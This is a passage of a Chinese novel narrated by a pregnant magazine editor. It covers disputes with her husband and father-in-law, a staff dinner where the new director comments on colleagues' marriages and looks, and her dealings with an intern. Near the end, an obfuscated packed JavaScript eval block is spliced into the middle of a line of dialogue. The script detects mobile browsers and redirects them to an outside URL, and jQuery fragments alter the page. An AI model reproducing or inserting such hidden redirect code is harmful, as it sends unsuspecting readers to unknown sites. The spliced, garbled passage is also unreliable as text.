“蒋师傅,我家里的葡萄吃不完,给你带一点。”我把那串葡萄从他坐着的窗口放进去。 “哎呀,宋编辑,你太客气了!”蒋师傅说。 我有一次,特意去《小坛》对面的水果店买了两个大石榴送给江师傅。也是从他坐着的窗口放进去。 “江师傅,这两个石榴给你。谢谢你平时那么关照我。” “哎呀,小宋,你自己吃,自己吃!”江师傅说。 我说:“没事,江师傅,我家里还有。” 又有一次,我拿了一包烟,带去给贺师傅。 “贺师傅,我老公不抽烟,这个给你!你们分分吸!” “哎呀小宋,你太客气了。”贺师傅跟我客气说。 “没有,贺师傅,你对我多好啊。” 回去以后,我问端午:“你说,贺师傅会把烟分给其他人吗?” “肯定不会了。”端午说。 “十一”期间,端午难得地陪我去产检。检查结束,我们拿着报告单下电梯。 “胎心正常。”我说。 “胎心正常说明是活的,没有胎心就是死的。”端午说。 我生气了,就跟他说:“你怎么这样说话。说话这样难听。以后不要乱说。” 娘的!我后来发现端午跟他娘一样,昏头,不会说话。 回去的路上,我跟端午说:“接下来要建档,办准生证了,宝宝的户口上在哪里啊?” 端午说:“上在我这里。” “你那里属于农村,以后宝宝上学不是要去城里啊。还是上在我那里吧。” 端午说:“你不知道,户口在农村有很多好处。” 我说:“你家都拆迁了,还有多少好处?宝宝上好了学,也不在乎你那点好处。人家都是往城里跑,你把宝宝户口放在农村,我怕以后影响她去城里上学。” 端午说:“宝宝以后就让我妈带,带到上初中,再去你那里。” 我说:“你居然说这样的话。他不要大人辅导作业啊?不要父母陪伴啊?亲子活动对于孩子来说多重要啊。你爸妈会辅导吗?他们知道什么?再说了,他们住地那个房子太小了,连写作业的地方都没有,你爸爸还经常出去打牌,孩子读书环境不好。” 端午说:“我下班了可以去看他。” 我说:“你下班了去看他。你能去几天?我不去看他了吗?” 端午说:“我们周末回去看他。” 我说:“只是周末去看吗?孩子不想爸爸妈妈吗?我不同意!” 端午开车,不怎么说话了。我是越说越气。 “哎,你跟他有仇是吧?你居然让你妈把他带到十四岁,再让他跟父母在一起。你妈会辅导吗?你妈把他带一年,就给带废了。你以为孩子的学习是从初中开始的吗?从小学、幼儿园就开始了。小孩子的学习是一环扣一环的,他小学初中基础打不好,你想让他高中再学好,怎么可能啊?” 我很生气,坐在车上说个不停。 端午说:“别说了,走错路了。”我抬头看了看前头不太熟悉的路,这才停下来。 接下来的日子里,我就正常上班,该产检就去产检。端午的爸爸喜欢群发信息,每天都发一些不知道哪里转发来的问候语,和一些玫瑰花,还有黄头绿身体的抱抱的表情。 我看到了,就客客气气回他:“谢谢老爸!端午上班去了。” 等端午上班回来,我问他:“你爸爸老爱发一些无聊的信息。你回他吗?” 端午说:“我从来不回。” 我问他:“你怎么不回他啊?” 端午说:“太无聊了。不想回。” 我说:“你也太不给你爸面子了。你回一下呗。你不回,他多伤心啊。” 是的,一开始,面对老头子的微信骚扰,我还跟着劝端午呢。我多善良啊!后来,我跟他们一个个地翻脸,那都是被他们给逼急了。 端午说:“不回不回,无聊的一批。” 因为端午的爸爸挺会吹嘘的,我跟端午说:“你爸爸还蛮有本事的嘛。比你有本事。” 端午说:“他就一个保安,工资只有三千。之前非要开厂做生意,老是赔,借了亲戚很多钱。等拆迁了以后,卖了一套房子来装修,再还还欠亲戚的钱。” 我说:“你爸妈也太自不量力了。开公司是一般的人敢干的事儿吗,没那个本事开什么公司啊。赔钱、欠债,还得拆东墙补西墙。” 我怀孕了,还要上班。一大早,我忙地要命。案头的稿件堆地多高!我还得一份份地审稿呢。任社长退居二线了,继任的是黄温勇社长。黄社长新官上任,火烧地正旺,动不动就要过来督促,巡视。我们都很紧张。 我正在忙着呢,这时候,端午爸爸的群发短信又来了: “美好的一天早晨,祝福!相亲相爱一家人。亲爱的家人,我最爱的人!我最爱的是你们!一家人在一起,每天都是好心情!” 后头还跟着三个表情:呵呵抱抱加玫瑰。 我看到信息就烦了。这个老东西,儿媳妇怀孕了,不发个红包慰问一下,还天天发这些闲扯淡的玩意儿。我不要上班啊,我不苦不累啊? 我就应付一下说:“谢谢老爸。”我窝火儿着呢! 等我回到家,我跟端午说:“你让老头子以后不要群发那些破信息给我,闲地他!我还要上班呢,烦死了!他不仅发信息,还加上亲亲抱抱红玫瑰!他一个老头子,给儿媳妇发那些猥琐的表情干啥?我看他是风骚的!骚浪贱!” 端午正躺在床上玩手机。我以为端午以后再慢慢告诉他,谁知道端午又“噌”地一下把信息发出去了,言简意赅:“以后不要给她发那些无聊的信息。” 我说:“你怎么那么直接,你爸爸又要生气了。” 端午说:“无聊地很!烦地一批!” “是很烦!不自觉!一个老公公,天天给儿媳妇发什么狗屁信息!他跟他那些老头子老太太发发玩玩嘛?哪个年轻人要看他那些狗屁信息啊!我什么书没看过,什么鸡汤没喝过。稀罕看他这个!他以为他那几句屁话是什么金玉良言啊?每天都要看到他的信息,每天都要想到他,烦不烦啊?为什么越是年老了,越是要跳来跳去的?年轻人都没他活跃。你安生一点,做个稳稳重重的老头子,不好吗?非要每天刷存在感。有这个必要吗?年轻人多累啊?忙工作呢!你跑来群发信息,人家回你也不是,不回也不是。你群发个破信息,别人在百忙之余,还要费脑筋回复你。你无聊地很。每天搁哪儿弄那么多破玩意儿!烦人不?” 他爸爸知道我烦了,第二天,发了一个五百块钱的红包:“儿媳,怀孕辛苦了,自己买点东西吃吃补补身体。” 我说:“谢谢爸爸!宝宝谢谢爷爷!” 我放下手机,继续审稿。身后,曹编辑又趴在桌上睡了。 阿杨说:“你看曹编辑困的,昨天夜里又陪儿子熬夜了。” 曹编辑说:“困!累!” 阿杨说:“没办法。你儿子上高中嘛。你家里里里外外都靠你自己。你老婆又不像我们这些命苦的,人家命好,有个能干的好老公,人家什么事儿都不要管。” 郝跃说:“我上次看到曹编辑的老婆了。好年轻啊,一点都不像四十多的。” 阿杨说:“人家不用操心啊。曹编辑什么事儿都包了。到外地出差还想着给老婆儿子点外卖。谁有人家曹编辑的老婆命好啊。人家疼老婆跟疼女儿似的。我昨天还跟我家老聂说的。让他多跟曹重阳学习。老聂还不服,他让我问问曹重阳的老婆,她是用什么手段让曹重阳这么贤惠的。我说,‘我哪里知道,我又不是曹重阳的老婆!’” 阿杨说完,大家都笑了,阿杨自己也得意地笑了。 曹编辑说:“你说,每天都这么累,活着有什么意义。” 我说:“就是陪自己爱的人享受一个过程吧。” 郝跃说:“活着的意义就是为了赚钱。你看曹编辑每次拿钱都比我们拿地多。” 我说:“是的,金钱的力量果然能让一个人熠熠生辉啊。” 阿杨说:“中午中文组聚餐,大家尽可能地都去哈。” 曹编辑说:“我就不去了。” 阿杨说:“你看!又要回家陪老婆吃饭去了。每次组里聚餐你都不去。这回可不是我让你去的哈。这回是老黄组织的。你自己看着办。” 曹编辑说:“老黄怎么想起来请大家吃饭了?” 阿杨说:“他刚上任呗。听说也不是他出的钱。是《星期一》杂志社的女老板赞助的。” 曹编辑说:“那好吧。我先去给儿子做饭去。”曹编辑说和站起身儿走了。 “哼!也不给我做饭!”阿杨追着曹编辑的背影儿说。 曹编辑淡淡地笑笑飘然离去了。阿杨在他背后愤愤地说:“你看,一到十点钟就去给他儿子做饭去了。” 我说:“曹编辑这么忙,还能抽身给他儿子做饭,也蛮厉害的。要我我还做不到呢。” 阿杨说:“厉害吧?人家给儿子做好饭,再去陪着老婆一起吃饭。哪个男的能这样。” 郝跃说:“确实厉害。一般的男的真做不到。” 阿杨说:“羡慕吧?我们都是命不好。嫁人就嫁曹重阳。” 我笑着说:“我不羡慕。我愿意给我老公做饭。” 阿杨说:“你现在小孩儿还没出来呢。等你小孩出来了,你就知道了。天天忙孩子忙地一塌糊涂,还得给老公做饭,烦死了。我现在都不想给老聂做饭,我都是让他自己做。” 中午,编辑部中文组聚餐了。黄社长亲自组织,大家没有一个敢缺席的。席开三桌。里间的两桌,一群男士在吞烟吐雾,外间的一桌,全是女士。我因为怀着孕,就去外间的一桌,跟一群女的坐在一起。 吴悠悠本来对着门儿坐着,簇拥在一群女人中间。她看到我来了,站起来跟我说:“大省,你怀着孕,坐在上菜口不方便吧,我跟你换换,你来我这儿坐吧。”她说着就离开了她自己的座位,绕过那些女人,来到了我的座位上来。 我说:“谢谢谢谢!我坐在这儿没事儿的,我习惯了。要是让我坐在上位,我还不习惯呢。连吃菜都不香了。”吴悠悠也是出于好意,她已经到了我的身边,可是我又不肯跟她换。吴悠悠一时有些尴尬,她讪讪地笑着回去了。 我说:“我知道你是为我好,可是我坐在那儿,真地不习惯。我从来没坐过那个位置。我就坐在这儿吃,蛮好的。”吴悠悠尴尬地笑了笑。 黄社长来挨桌敬酒了。他举着杯子,来到我们这桌前,大家都站了起来。黄社长举着酒杯开讲了。 他说:“今天呢,我们编辑部中文组也是难得地一聚,说实话,组里这么多人,想把大家都召集起来,真不容易。你看,这次,连曹重阳这个鸟人也来了。妈的,平时让你来,你都不来!” 众女士说:“曹编辑是我们中文组的男神!是我们公认的青提区好男人!他全心全意为老婆服务,都把我们自家的老公给秒成渣儿了!” 另一个说:“我们打算把曹编辑的模范事迹印发成册,在全青提区宣传。” 黄社长对曹编辑说:“你看!她们这些女士都夸你!都不夸我。你既然是她们口中的好男人,你就得拿出好男人的风度来,今天的酒你得替她们喝了!” 曹编辑面对满桌女士的追捧,丝毫没有谦让,他坦然接受了青提区好男人的头衔,欣然举起酒杯说:“那我就替女同胞们喝一杯!” “这才是模范丈夫!”黄社长竖起大拇指说,“吴悠悠是我的学生,在座的都是我的兄弟姐妹,我对女同胞从来都不劝酒。我自己干了这一杯。你们随意!不能喝酒的女同胞尽量少喝酒!我们现在讲的是仁爱,人文关怀!” 黄社长举着手里的杯子迟迟不肯下嘴,他举着杯子继续说:“我们文人喝酒就是要爽快,你看李白,喝了酒,绣口一吐就是半个盛唐。人家喝了酒不仅能写诗,人家还去登山,‘脚着谢公屐,身登青云梯’。”黄社长说着手舞足蹈了起来。 黄社长滔滔不绝,唾沫星子溅了我一胳膊。他不走,我们就都站着听他说话。他说了还要说。我也不太明白他在说什么,我也不知道他什么时候才能说完。 梁编辑悄悄跟我说:“你要不要坐下来?你没事儿吧?” 我笑笑说:“没事儿!” 不知道为什么,看着他说“谢公屐”,让我想到了“大公鸡”,我看着黄社长的光溜溜黄溜溜的脑袋,看着他像个大公鸡一样手之舞之足之蹈之,想着他的脑袋上顶着一个大公鸡冠子,我不自觉地笑了。郝跃看看我,嘴角露出了一抹微笑。 黄社长看着靠里头坐着的李编辑说:“小李啊,你都四十多了吧,也老大不小了。父母年纪都大了,他们生病看病什么的,你一个人撑着不累吗?赶紧找个男人,好跟你一起照顾家。你都多大了?再不嫁人,都要五十了。” 李编辑听到黄社长的话,激愤之情腾地一下涌上脸颊,她的两腮登时红地透透的。她低着头,绷着红红的小脸儿,憋着一肚子火气和委屈,眼泪在眼眶里直打转儿。李编辑这个人虽然人长得娇小,但是非常有能量。平日里她慷慨激昂豪情万丈,有巾帼不让须眉之气。今天,黄社长居然当众戳她的心窝子,让她难堪。她压在心底的愤怒和冤屈直往上窜。若不是因为受黄社长的管辖,假若生在一个江湖的世道,她早就杏眼圆睁,一个飞刀过去,红缨一闪,结果了老贼的性命。 吴编辑赶紧伸出手去,紧紧地握住她的手,悄声儿跟她说:“别跟他一般见识!他就是个土匪!” “黄社长,您能听我陈情吗?”李编辑站起来,强忍着眼泪跟黄社长说,“我不结婚,是我个人的选择。正是因为我爸妈身体不好,我多少回看着他们在死亡线上挣扎,所以我才知道生命的脆弱。正是因为我伺候他们伺候地太累了,所以我够了,不想再生个孩子,让他跟我一样,来继续这样劳累的人生了。我不结婚,这是我个人的选择,也是社会进步的体现。” “你看看,我就跟你说说,你还搞起虚无主义了。要是这样说,人都是要死的。你这样说就没意思了。”黄社长说。李编辑毕竟是个女流,而且在编辑届小有名气,黄社长再一身匪气,他也毕竟是个人,他看到李编辑羞愤难当,攒着一肚子酸楚和火气,他也就知趣地撤离,不再跟这个年近四十的丫头硬刚咧。 黄社长接着说:“在座的各位,也都是我们中文组里看着成长起来的,如今最年轻的也不再年轻了。都是不再年轻的年轻人了。小潘,你是不是中文组里最年轻的?” 小潘说:“不是,大省是我们组里最小的。我比她大两个月。” 黄社长说:“我看了一下,很多人的头发都白了。你看,郝跃也是,已经两鬓斑白了。郝跃,你把你的头发染染,是吧?把自己打扮打扮,别天天穿得跟个僧侣似的。不是蓝的就是黑的。你看,你跟杨编辑她们站在一起,就跟那个非洲难民站在美国大佬旁边似的。差距太大了。你还刚四十出头,是吧?你是83年的吧?我记得你是属猪的。” 郝跃笑着纠正说:“我是82年的,属狗。我跟我老公属狗,我公公婆婆也属狗。我小孩还是属狗。一家子都是狗。” 黄社长大手一挥:“猪也好,狗也罢。说起来,你其实比杨编辑她们年轻不少。可是,你看看,你天天穿得跟个老太太似的。不知道的还以为你是她们的娘呢。把自己打扮打扮!另外,你那些大金镯子、大钻戒,不要老是戴着,明晃晃地,跟个暴发户似的。多俗啊!还有,少在办公室里传播负能量。这样,大家都开心一点。” 郝跃说:“我以前也是打扮的,就是生了孩子以后,白头发多了,因为身体原因,也不能染头发。否则我就染了。天天忙孩子忙工作,也顾不上打扮自己了。” 杨编辑说:“郝跃主要是孩子太小,顾不上打扮。” 小潘说:“是的,郝跃以前在中文组,是引领时尚潮流的。人家都是去省会买衣服。” 我也说:“郝跃以前穿着可文艺了。她这几年确实是因为孩子小。” 黄社长看了看我:“大省也在。我作为老大哥,跟你说几句。” 黄社长顿了顿,低了一下头,脸上飘过去一丝腼腆说:“找男人,一定要擦亮眼睛。不能随便就凑合一个!” 吴悠悠说:“黄社长,大省已经升级为妈妈了!” 黄社长惊讶地说:“啊?几个月了?” 我说:“两个多月了。” 黄社长说:“我还以为大省是胖了呢!坐坐坐!大家都坐下吧!这个‘菊香满屋’的菜,口碑还是很不错的,很多外地的都来这里订餐。” 我们坐下来吃菜,黄社长又转战另一桌去吆喝。 郝跃说:“行嘛,大省。你居然敢笑黄社长。” 我说:“我就是看着他那个样子好笑。你不觉得他说‘谢公屐’的时候,那个样子很好笑吗?我觉得他很滑稽。” 郝跃说:“你说黄,那么大的一个社长,管我的穿着打扮干什么啊!” 我说:“是的啊。你以前穿着件白色的羽绒服,戴着个红色的小发箍。可精致了呢。你不就是因为孩子小嘛。” 郝跃说:“哎!我们做编辑的,要的是知识,又不是姿色。你说我们怎么穿戴管他什么事儿啊?” 杨编辑说:“哎呀,你们不要管他。他老婆不是爱穿地红红绿绿的嘛。他就喜欢别人也穿地红红绿绿的。” 郝跃说:“那我下次聚餐穿我那件粉色的裙子,这样显得气色好一些。” 吴编辑说:“在有的职场里,姿色也是资本。领导看到你有姿色,会打扮,也会给你加分。” 郝跃说:“那像我们这些不爱打扮的人,可就没有好日子过了。一个大领导过来对人家女员工的穿搭指指点点的。你说我们还有日子过吗?” 杨编辑说:“是的,你说这种人怎么就当了社长的?” 小潘说:“人家不是有个好同学嘛。哪像你啊,你同学除了给你寄个猕猴桃。还能给你什么?” 杨编辑说:“是的,下辈子我可得找个好同学。不行!我回头得跟我同学说说,让她下辈子投个好胎,让我也跟着她鸡犬升天。” 聚会结束了,我跟郝跃走在路上。 郝跃问我:“你自己走回去?” 我说:“嗯。也不远。一会儿就到了。你先走吧。” 郝跃说:“没事儿的,我陪着你走走。” 我说:“那行吧。你今天不回市里你婆婆家吗?” 郝跃说:“我今天不回。” 我说:“哦。” 郝跃说:“你说,我在办公室里说什么,老黄怎么知道的?” 我说:“不知道。反正我没跟他说。我见了他都是躲着走,我根本不敢到他跟前去。” 郝跃说:“肯定是有人跟他说了。” 我说:“谁啊?” 郝跃说:“谁经常跟老黄接触就是谁呗。你说咱们办公室,谁最有可能跟老黄接触?” 我说:“你是说阿杨?” 郝跃说:“不是她是谁?她是组长。” 我说:“我没看出来嘛。你跟她不是挺好的吗?她说我的坏话还差不多,她怎么可能在领导跟前说你的坏话?” 郝跃说:“我哪里跟她好?我也反驳过她。我只是不像你说话那么直。我都是拐弯抹角地以开玩笑的方式说的。” 我半信半疑地说:“真能是她吗?” 郝跃说:“不是她是谁?就她跟领导走地近!哼!她们老是说我传播负能量。我也一直认了。后来我查了查,什么是负能量?负能量就是抱怨工作,在背后骂领导,八卦领导,跟领导对着干。我又没有说这些。我就说说我婆婆我孩子,她们居然说我传播负能量。” 我说:“郝跃,我跟你说实话吧。就是你以前,老是在办公室说你家婆婆跟娃的那段时间,我真的要抑郁了。我都在家里哭过。后来,有一次,吴悠悠把我喊到隔壁办公室了。她说,她也要抑郁了。” 郝跃说:“真的?” 我说:“真的。我当时都有点吼不住了,我也差点跑到领导那儿要求换个办公室。但是想想还是忍住了。我怕领导说我不团结。所以,到老黄跟前说你坏话的事儿,肯定不是我干的。我要是跑到领导跟前告状,我自己就先心虚了。因为,我怕我一跟领导告状,领导会觉得我是一个小人。” 郝跃说:“天呢,我都不知道。给你们造成这么大的影响。不好意思啊。” 我说:“没事儿的。此一时,彼一时吧。你当时是刚生完孩子,又跟婆婆住在一起。鸡毛蒜皮,鸡飞狗跳的,都很正常。要是换做是我,我说不定也会那样。我以前是单身,感受不到。就觉得你有家庭有孩子,多幸福啊,干嘛还叽叽歪歪的。我还觉得你身在福中不知福呢。现在有了婆婆,我可是感受到了。” 郝跃说:“是的呀。我那时候都快产后抑郁了。都是女人,互相理解嘛。有事情当面说呗,我也不是那种油盐不进的人。你说你干嘛跑到领导那儿告黑状啊。” 我说:“你不说是阿杨,我还真的想不到是她。我还担心你觉得是我呢。我觉得你们跟她都处地挺好的呀。” 郝跃说:“挺好的?她跟曹编辑好吧?她们还是同一年进《小坛》的呢!曹编辑一到十点钟就溜出去给他儿子做饭的事儿,孙部长都知道。上次开会的时候都明里暗里地提点了。你说不是杨说的,还能是谁说的。” 我说:“是吗?她跟曹编辑那么铁,曹编辑的事儿,她也能说?” 郝跃说:“她看人家曹编辑那么疼老婆孩子,她嫉妒呗。她有时候跟曹编辑说话蛮腻歪的。你没觉得吗?” 我说:“是的啊?我也觉得有点儿。” 郝跃说:“哪里是有点儿!简直是赤裸裸地勾引了。幸好曹编辑这个人坐怀不乱。是个真正的正人君子。但凡换做别人,都被她弄上钩儿了。哼!曹编辑看地上她?人家曹编辑的老婆家里是开厂的。特别有钱。人家逛街都是去八佰伴。哪像她,抠抠搜搜的。去一次八佰伴还得净挑打折的。” 一天,程云给我发来微信:“我妈妈脑溢血住院了。治疗费用很高。现在我要‘水滴筹’。帮我转发一下。”然后是一个流泪的表情。 我赶紧问她:“你现在在哪啊?” 她回复说:“我现在回老家,在高铁上。” 我说:“好的,你手里有钱吗?缺钱你就说。” 程云说:“我手里有钱。你帮我转发就行。” 我说:“好的。” 我发了一个五百块钱的红包给她,跟她说:“你给阿姨买点什么吧。” 程云没有收。她说:“不用,她现在也不能吃。” 我就帮她转发了朋友圈。顺便支持了二百块钱。因为当时我也在孕期,花钱很多,到生产的时候,还不知道要花多少钱。所以,我也没有太大方。 后来,程云到了老家,看到了阿姨。所幸,阿姨的病一天天地好起来。程云过了些日子也回来了。我又问候她阿姨的情况,她说她妈妈已经出院了,“水滴筹”里的钱还没有全部花完。她妈妈的后老伴儿还跟他儿子一起去银行去取了剩余的钱。听说阿姨的身体康复了,我也就放心了。 年中考核结果出来了,黄社长给我发钉钉信息说:“业绩不错,再接再厉!” 我说:“谢谢黄社长!这次是稿二阶段,分配给我的任务,跟同组合的同事的任务相比,难度系数差不多。这次的业绩不错,也是情理之中。我会继续努力,也感谢黄社长一直以来的关照!” 郝跃跟我说:“黄社长给我发信息了,说我的业绩不错,他也给你发了吧?” 我说:“嗯。” 郝跃问我说:“你是怎么回的?” 我说:“这次给我分配的任务跟他们的差不多,所以,这次我能搞好也是情理之中。” 郝跃说:“我就回复了一个谢谢黄社长。你比我会回复。” 我说:“我只是说了实情。给我同样的资源,我就能搞地跟别人差不多。给我最差的资源,我怎么也搞不好。” 郝跃说:“黄社长这样一夸我们,我反而有压力了。下次弄不好怎么办?” 我说:“我没什么压力。好就好,坏就坏。既然搞排名,那就会有个先后。胜败乃兵家常事。再说了,分配给我好的资源,我搞得自然不会差。分配给我差的资源,我怎么搞也是无力回天。我真地没什么压力。” 杨编辑说:“大省还是很淡定的。郝跃就是太紧张了。” 郝跃说:“不是。大省说地那么轻松,搞得我更紧张了。我跟大省是同一个组合的,她说地那么轻松,我能不紧张吗?” 我说:“我是安慰你,你怎么更加紧张了呢。想开点嘛。我真地没把我们之间的竞争看的那么重。我们生命的意义也不仅仅在于我和你之间的竞争。甚至不在于我们在《小坛》的排名。更不在于领导对我们的评价,我们都应该把眼光放远一点。” 郝跃说:“你真地不在乎?我不相信。” 杨编辑说:“业绩大家都在乎,不可能一点都不在乎。但是没必要搞得那么紧张。就像你,你应该把身体放在第一位。身体是革命的本钱。你那么紧张干什么,紧张也没有用,只能给自己的身体带来压力。郝跃就是把业绩看地太重,给自己太大的压力了。最后吃不好,睡不好,把身体也搞垮了。你看大省,她的皮肤多光滑,她就是能沉下心来,想得少,睡眠才好。” 郝跃说:“我一紧张就睡眠不好,我要戴上耳机,听听音乐来刺激一下。” 杨编辑说:“你想睡好觉,就要排除杂念。你天天胡思乱想,把心血耗空了,自然就睡不好了。我也是,明知道是这样,但是我做不到。” 郝跃大概是不相信我的话,她可能还是把我当成竞争对手吧。她是只知道我跟她是同一个组合,说来是竞争关系。她不知道,她在以后很长的时间里都不知道。我已经不再把《小坛》给我的指标当做唯一的目标了。我的内心已经悄悄有了自己的依靠。那个依靠是荆堂,那个依靠是故乡。我的文字像春天的种子一样,在掩盖它的黄泥地里一点点地萌动,萌芽,准备好好地生长。 2.华伦天奴、许诺 秋天,秋意正浓的时候,我喊上端午一起去了南山,那时,枫叶红得正艳。我挺着大肚子,兴致勃勃地给他选景、摆姿势,又给他拍了一组秋天的照片,后来,我又花了好长时间,把这些照片一张一张地传到淘宝上,给他做了一本秋天枫叶的照片。大概是我怀孕了,面目全非,又自觉老了的缘故,我很喜欢打扮端午,看着他清清爽爽、干干净净,我也觉得秀色可餐。我很喜欢给端午买衣服。夏天的衣服、秋天的衣服,我全给他想着,催着他去买。 深秋的一天,我陪着他去买衣服,试衣服的时候,售货员跟他说:“让你姐给你看看,好不好看!”我跟他结婚的时候,他妈妈还说我们俩儿走在一起,看不出来年龄差,可是等我怀孕以后,跟他走在一起,很多人就不觉得我不像他的老婆了。 买好了衣服,我问他:“你还要买短裤吧?” “不用不用!家里多得很。来,看看摊子上的这些烂皮鞋!”端午说。他的脸上划过一丝红晕。我知道他手里没多少钱了。 “这里的鞋子质量不好,回头我们去红蜻蜓给你买双鞋子吧。”我说。 “不去!不去!太贵了!”端午说。 我们说着路过了一家红蜻蜓鞋店。我看上了一双黑色的男鞋。 “这双鞋子多少钱?”我问。 “四百!”店员说。 “太贵了!”端午说,“走吧!” “买上吧!”我说,“我来付款。”我付了钱,端午像是捧着一个西瓜似的抱着那双鞋子走开了。 夜里,我做了一个梦,梦见了一种男装的牌子:“华伦天奴”。那应该是一款不错的男人的衣服吧。到了白天,我用手机搜了搜,是的,“华伦天奴”的男装很贵,一件要几千甚至上万块钱呢。可是,我的老公没有钱穿这样的衣服。真是好笑,我为什么梦见了“华伦天奴”呢,我是在哪儿见过“华伦天奴”呢?这肯定是我在哪儿见过的,可是现在已经记不起来了。 是了,我的老公穿不起“华伦天奴”的衣裳,我的孩子吃不起黑松露,戴不起卡地亚。 冬天的时候,我又催着他买羽绒服。我看上一件白色的羽绒服,我觉得很好看,自己跑去店里问了问价格,一千二。 我问端午要不要买,端午说:“不要买那么贵的,没必要。一千二,够我买几件羽绒服了,你把钱留着,过年的时候,我买个pad。” 我说:“你买pad干嘛?” 他说:“留着冬天躺在床上看电影。” 我说:“你妈妈那里不是有一个吗?” 他说:“那是我给她的,我再买一个。” 我说:“pad能打字能办公吗?” 他说:“不能。” 我说:“你不能买个电脑吗?电脑又可以看电影又可以办公。” 他说:“电脑的话,冬天躺在床上看电影多笨重啊。” 我说:“那你再买一个的话,你这个月的生活费就不交了?一个pad要多少钱,你一个月工资才三千五。我现在怀孕呢,你一个月生活费不交,自己买pad,说地过去吗?” 端午说:“那就先不买。” 我说:“衣食住行是必须的。等我们手头宽裕了,再买pad吧。” 他说:“行的!行的!” 我说:“你虽然工资低,但是生活费你还是要交的。除非你这个月要交车险。否则我们俩是怎么回事儿?我养着你啊。那也太没劲了。我还怀着宝宝呢。你每个月留够油费和零花钱,你交两千块钱生活费给我。我们现在又要产检,又要给宝宝囤东西,每个月花销大着呢。” 端午说:“行的!行的!” 但是我心里一直记着他的愿望。总觉得是我不够有钱,不能满足他的心愿。总想着等手头宽裕了,就给他买上。 天冷了,我又催着给他买保暖内衣,他说不要。我就挺着大肚子自己去商场花了四百块钱,给他买了两套保暖内衣。我自己不爱穿秋裤、保暖内衣。我肚子大,也不好买衣服。我就在网上给自己买了一件六七十块钱的毛衣,凑活着穿穿。 社里来了一批实习生,我被喊去认领自己的实习生去。我挺着大肚子到了一楼,一个空的会议室里。里头,早已站满了年纪大的编辑跟新来的大学生,人头攒动。我到了会议室的前头,找了个空位置站定,听指挥的人员喊着手里的名单。 “徐诺,你跟宋编辑。”分配的人员说完,那个叫徐诺的大学生朝我走了过来。 “宋老师你好。以后多多关照。”徐诺对我很客气。我知道这是年轻的对年老的礼貌性的客气。新来的实习生长得个子高高壮壮,有着浅棕色的皮肤,看起来还算是光光滑滑清清爽爽。他不怎么说话,说起话来有些闷声闷气,看起来还蛮老实的。他好像什么都不知道,又好像什么都知道。 我说:“你们这些大学生,都要考研的吧?” 他讪讪地笑了一下说:“是的。” 我说:“我没什么要你帮我的。你安心考研。该签字的我给你签字。该写评语的我给你写好评语。” 他感激地说:“谢谢宋老师,太感谢您了!” 我说:“没事儿的。我以前实习的时候,人家也是这么照顾我的。年轻人压力大,不考研工作不好找。你们先考上研再说。你放心做你的事。” 徐诺高兴地说:“谢谢宋老师,遇到你我太幸运了!” 我说:“没事儿,你去复习你的,该写评语的时候,你再来找我。” 我回到办公室,郝跃说:“又给你安排了实习生啊,真幸福啊!你有什么活儿可以找他给你做了。” 我说:“人家大学生也不容易,人家都要考研呢。我哪好意思让人家帮我干活儿啊。” 郝跃说:“实习生嘛,本来就是帮着师父干活儿的啊。你有什么做不完的,都可以交给实习生做嘛。” 我说:“我自己的事情我自己做。人家马上要考研了,要复习呢。我帮不上人家,也就不打扰人家了。人家来实习也是没办法。让人家干再多的活儿,人家考不上研,还是不好找工作。让人家好好复习考研吧。” 郝跃说:“哪有你这样的师父。还有不让徒弟干活儿的。” 我说:“我是人家哪门子的师父。人家要考研找工作,我帮不上一点儿忙。现在考研才是出路。人家不实习吧,又没办法,人家也想好好复习考研。人家哪里需要我教给人家什么活儿。现在关键是考证儿,活儿嘛,谁都会干。” 杨编辑说:“我也不怎么让实习生帮我干活儿。他们想来就来,我不怎么叫他们。大省不一样,你是孕妇,社里或许就是因为你是孕妇,特意给你安排个实习生来帮你干活儿的呢。该使唤的就得使唤。” 我说:“我是不好意思麻烦他们。我也不忍心。” 郝跃说:“你有实习生不用,你把他叫来给我干活儿。我这儿一堆的事儿没干完呢,我都累地腰疼。” 我说:“你的事儿你自己好好干吧。我是实在不忍心让他们帮我干,人家要考研,多辛苦啊。咱们当年考研的时候,不也是这样嘛。” 郝跃说:“你有实习生都不用,太浪费人才了。早知道我就去申请一个实习生了。” 杨编辑说:“实习生早就分配完了,你现在想申请也没有了。” 郝跃说:“那我就去把大省的那个实习生叫来帮我干活儿。” 我说:“你去叫呗。你怎么用人家那是你的事,我是不忍心。不过,我劝你还是不要去打扰人家了,人家现在急着考研复习呢。马上就要考试了。” 郝跃说:“你的实习生是谁啊?” 我说:“徐诺。” 郝跃说:“哦,就是那个小男人啊?我见过他。小帅哥啊,你怎么不用啊?现在不用,过期不候了。” 我说:“人家要考研,都要急死了。我干嘛要使唤人家。” 郝跃说:“不过,这家伙看起来傻傻的,好像头脑不灵光的样子,肯定是他父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137812|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝醉了生的!”郝跃说着笑了,我也跟着笑了。 “你怎么这样说人家!”我笑着说,“人家许诺还是蛮帅的。个子高高的,皮肤干干净净的。” 郝跃说:“你是不是想生个男孩子啊。” 我说::“有点儿。我想生个跟我老公一模一样的。我不想生个跟我一摸一样的。我对我自己已经厌倦了。” 阿杨说:“生个女儿,女儿跟爸爸长得像。” 我说:“生个女儿吧,总觉得自己对不起人家。中国的好多男的,都是希望生个儿子的吧。” 阿杨说:“你怎么这样想。我就没有这种想法。曹重阳,你有这种想法吗?你觉得儿子比女儿好吗?” 曹编辑说:“没有啊。” 我想,你问曹编辑,曹编辑当然顺着你的话说了。曹编辑本身生的就是儿子,他嘴上说个无所谓,当然也是无所谓的了。反正,总之,都是你的理。你爱怎么说就怎么说好了。 实习期很快就过去了,徐诺拿着一个杯子来找我了。 “宋老师,麻烦你帮我写个评语。”他站在我桌旁说。 “哦,好的。我尽量往好里写。”我说。 “这个杯子是送给你的。谢谢您对我的照顾。”徐诺笑着说。 我说:“没事的,杯子你自己用吧,我家里杯子多的。” 徐诺说:“请您一定要收下,这是我的一点心意。” 